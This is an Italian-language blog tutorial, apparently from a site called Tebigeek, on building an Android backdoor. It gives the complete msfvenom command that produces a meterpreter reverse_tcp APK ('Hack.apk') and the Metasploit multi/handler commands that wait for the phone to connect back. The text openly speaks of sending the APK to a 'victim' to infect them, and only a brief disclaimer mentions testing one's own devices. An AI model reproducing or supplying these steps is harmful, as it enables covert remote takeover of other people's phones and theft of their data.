Come creare una BackDoor per Android con Linux

Come creare una BackDoor
per Android con Linux

Oggi andremo a vedere come creare una BackDoor per Android con Linux in pochi e semplici passi.

Molte persone per controllare un dispositivo Android da remoto usa il noto Tool “AndroRat”. Ma siccome a noi di Tebigeek non piace la la “Pappa pronta” andremo a vedere come crearci il nostro RAT con qualsiasi distribuzione Linux!

Questa guida ricordiamo che è solo a scopo illustrativo per testare i vostri dispositivi e non per infettare altri. Tebigeek non si assume nessuna responsabilità dell’uso che ne farete.

Requisiti:

– Una distribuzione Linux (BackBox, Kali, Parrot ecc…)
– Framework Metasploit (Già presente nelle distribuzioni Linux dedicate ai Pen Test, come Kali Linux)
– Un dispositivo Android

In questa guida userò BackBox.

Step 1: Creare il Payload!

Apriamo il terminale su BackBox
Utilizziamo Metasploit per creare l’exploit

msfvenom -p  android/meterpreter/reverse_tcp LHOST=192.168.1.6 LPORT=1604 R >
 /home/the_boss_/Scrivania/Hack.apk

Una volta eseguito il comando avremo un file Hack.apk da inviare alla vittima per infettarla.

Step 2: Impostazioni Connessione

Adesso bisogna predisporre la nostra macchina ad una connessione di tipo reverse_tcp con questi comandi:

msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

A questo punto inseriamo i parametri associati al nostro scenario, con questi comandi in fila:

set lhost 192.168.1.6 –> Indirizzo IP dell'attaccante
set lport 1604 –> porta su cui ascoltare per connessione in entrata (assicurarsi
che la porta sia aperta)
exploit –> Avviamo l'ascolto in attesa di connessioni in entrata

 

 

 

 

Quando installeremo l’APK sul dispositivo nel terminale vedremo la connessione in ascolto.

 

Arrivati a questo punto siete riusciti ad infettare la vostra vittima, vi consiglio di provare solo in locale su dispositivi di vostra proprietà per evitare eventuali problemi, anche perchè io e Tebigeek non ci assumiamo nessuna responsabilità come vi ho già detto all’inizio.